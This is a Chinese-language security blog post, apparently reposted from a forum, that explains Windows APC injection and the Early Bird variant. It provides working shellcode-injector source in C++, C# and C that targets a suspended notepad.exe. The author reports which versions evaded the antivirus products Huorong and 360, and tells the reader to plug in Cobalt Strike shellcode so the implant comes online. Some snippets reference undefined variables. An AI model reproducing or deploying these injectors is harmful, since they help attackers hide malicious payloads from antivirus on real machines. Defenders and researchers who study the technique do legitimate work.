原文始发于先知社区(林寒):APC注入以及几种实现方式
前言:本文以最新版360作为测试,如果有错漏之处,还请师傅们指正。
APC介绍
APC中文名称为异步过程调用, APC是一个链状的数据结构,可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链。当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。 所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。
APC注入的一些前置如下:
- 线程在进程内执行
- 线程会调用在APC队列中的函数
- 应用可以给特定线程的APC队列压入函数(有权限控制)
- 压入队列后,线程将按照顺序优先级执行(FIFO)
- 这种注入技术的缺点是只有当线程处在alertable状态时才去执行这些APC函数
MSDN上对此解释如下
QueueUserApc: 函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中
APCproc: 函数作用: 回调函数的写法.
首先异步函数调用的原理:
异步过程调用是一种能在特定线程环境中异步执行的系统机制。
往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC
APC 注入
简单原理
1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断
2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数
3.我们利用QueueUserApc,往这个队列中插入一个回调
4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去
注入流程
QueueUserAPC
函数的第一个参数表示执行的函数地址,当开始执行该APC的时候,程序就会跳转到该函数地址执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT
访问权限。第三个参数表示传递给执行函数的参数。与远线程注入类似,如果QueueUserAPC
函数的第一个参数,即函数地址设置的是LoadLibraryA
函数地址,第三个参数,即传递参数设置的是DLL的路径。那么,当执行APC的时候,便会调用LoadLibraryA
函数加载指定路径的DLL,完成DLL注入操作。如果直接传入shellcode不设置第三个函数,可以直接执行shellcode。
APC注入实现
函数原型
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC, //APC 注入方式
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);
C++ 实现
代码如下
#include <Windows.h>
#include <iostream>
unsigned char shellcode[] = "<shellcode>"; //shellcode "\xfc\x48\x83\xe4"
int main()
{
LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe"; //path
SIZE_T buff = sizeof(shellcode); //size of shellcode
STARTUPINFOA sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 }; //return a new process info
CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo); //create a new thread for process
HANDLE hProc = pInfo.hProcess;
HANDLE hThread = pInfo.hThread;
// write shellcode to the process memory
LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;
WriteProcessMemory(hProc, lpvShellAddress, shellcode, buff, NULL);
// use QueueUserAPC load shellcode
QueueUserAPC((PAPCFUNC)ptApcRoutine, hThread, NULL);
ResumeThread(hThread);
return 0;
}
C#实现
代码如下
using System;
using System.Runtime.InteropServices;
public class shellcode
{
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint ResumeThread(IntPtr hThread);
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);
public enum ProcessAccessRights
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
public enum ThreadAccess : int
{
TERMINATE = (0x0001),
SUSPEND_RESUME = (0x0002),
GET_CONTEXT = (0x0008),
SET_CONTEXT = (0x0010),
SET_INFORMATION = (0x0020),
QUERY_INFORMATION = (0x0040),
SET_THREAD_TOKEN = (0x0080),
IMPERSONATE = (0x0100),
DIRECT_IMPERSONATION = (0x0200),
THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
}
public enum MemAllocation
{
MEM_COMMIT = 0x00001000,
MEM_RESERVE = 0x00002000,
MEM_RESET = 0x00080000,
MEM_RESET_UNDO = 0x1000000,
SecCommit = 0x08000000
}
public enum MemProtect
{
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
PAGE_EXECUTE_WRITECOPY = 0x80,
PAGE_NOACCESS = 0x01,
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_WRITECOPY = 0x08,
PAGE_TARGETS_INVALID = 0x40000000,
PAGE_TARGETS_NO_UPDATE = 0x40000000,
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[StructLayout(LayoutKind.Sequential)]
//internal struct STARTUPINFO
public struct STARTUPINFO
{
uint cb;
IntPtr lpReserved;
IntPtr lpDesktop;
IntPtr lpTitle;
uint dwX;
uint dwY;
uint dwXSize;
uint dwYSize;
uint dwXCountChars;
uint dwYCountChars;
uint dwFillAttributes;
public uint dwFlags;
public ushort wShowWindow;
ushort cbReserved;
IntPtr lpReserved2;
IntPtr hStdInput;
IntPtr hStdOutput;
IntPtr hStdErr;
}
public static PROCESS_INFORMATION StartProcess(string binaryPath)
{
uint flags = 0x00000004;
STARTUPINFO startInfo = new STARTUPINFO();
PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo);
return procInfo;
}
public TestClass()
{
string b64 = "<shellcode>"; //shellcode base64 encode
string targetprocess = "C:/Windows/System32/notepad.exe";
byte[] shellcode = new byte[] { };
shellcode = Convert.FromBase64String(b64);
uint lpNumberOfBytesWritten = 0;
PROCESS_INFORMATION processInfo = StartProcess(targetprocess);
IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)processInfo.dwProcessId);
//write shellcode to the process memory
IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
if (WriteProcessMemory(pHandle, rMemAddress, shellcode, (uint)shellcode.Length, ref lpNumberOfBytesWritten))
{
IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)processInfo.dwThreadId);
IntPtr ptr = QueueUserAPC(rMemAddress, tHandle, IntPtr.Zero);
ResumeThread(tHandle);
}
bool hOpenProcessClose = CloseHandle(pHandle);
}
}
这里测试过了火绒但是没过360
C实现
代码如下
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = <shellcode>; //shellcode {0xfc,0x48,0x83}
unsigned int buff = sizeof(shellcode);
int main(void) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
void * ptApcRoutine;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
ptApcRoutine = VirtualAllocEx(pi.hProcess, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(pi.hProcess, ptApcRoutine, (PVOID) shellcode, (SIZE_T) buff, (SIZE_T *) NULL);
QueueUserAPC((PAPCFUNC)ptApcRoutine, pi.hThread, NULL);
ResumeThread(pi.hThread);
return 0;
}
这里被360杀了,但是加载是能上线的。
APC 注入变种 Early bird
Early Bird是一种简单而强大的技术,Early Bird本质上是一种APC注入与线程劫持的变体,由于线程初始化时会调用ntdll未导出函数NtTestAlert,NtTestAlert是一个检查当前线程的 APC 队列的函数,如果有任何排队作业,它会清空队列。当线程启动时,NtTestAlert会在执行任何操作之前被调用。因此,如果在线程的开始状态下对APC进行操作,就可以完美的执行shellcode。(如果要将shellcode注入本地进程,则可以APC到当前线程并调用NtTestAlert函数来执行)
通常使用的 Windows 函数包括:
- CreateProcessA : 此函数用于创建新进程及其主线程。
- VirtualAllocEx : 在指定进程的虚拟空间保留或提交内存区域
- WriteProcessMemory :将数据写入指定进程的内存区域。
- QueueUserAPC :允许将 APC 对象添加到指定线程的 APC 队列中。
Early bird注入流程
- 1.创建一个挂起的进程(通常是windows的合法进程)
- 2.在挂起的进程内申请一块可读可写可执行的内存空间
- 3.往申请的空间内写入shellcode
- 4.将APC插入到该进程的主线程
- 5.恢复挂起进程的线程
Early bird注入实现
C实现
代码如下
#include <Windows.h>
int main() {
unsigned char shellcode[] = "<shellcode>"; //shellcode "\xfc\x48\x83\xe4"
SIZE_T shellSz = sizeof(buff);
STARTUPINFOA st = { 0 };
PROCESS_INFORMATION prt = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &prt);
HANDLE victimProcess = prt.hProcess;
HANDLE threadHandle = prt.hThread;
LPVOID shellAddr = VirtualAllocEx(victimProcess, NULL, shellSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddr;
WriteProcessMemory(victimProcess, shellAddr, buff, shellSz, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);
return 0;
}
C++实现
代码如下
#include <Windows.h>
int main()
{
unsigned char shellcode[] = "<shellcode>"; //"\xfc\x48\x83\xe4"
SIZE_T shellSize = sizeof(buf);
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);
return 0;
}
Go实现
参考项目:https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/EarlyBird
将其中的shellcode替换成CS的shellcode即可
编译之后运行上线
参考
https://docs.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc?redirectedfrom=MSDN
http://subt0x10.blogspot.com/2017/01/shellcode-injection-via-queueuserapc.html
https://www.cnblogs.com/iBinary/p/7574055.html
https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection
https://idiotc4t.com/code-and-dll-process-injection/early-bird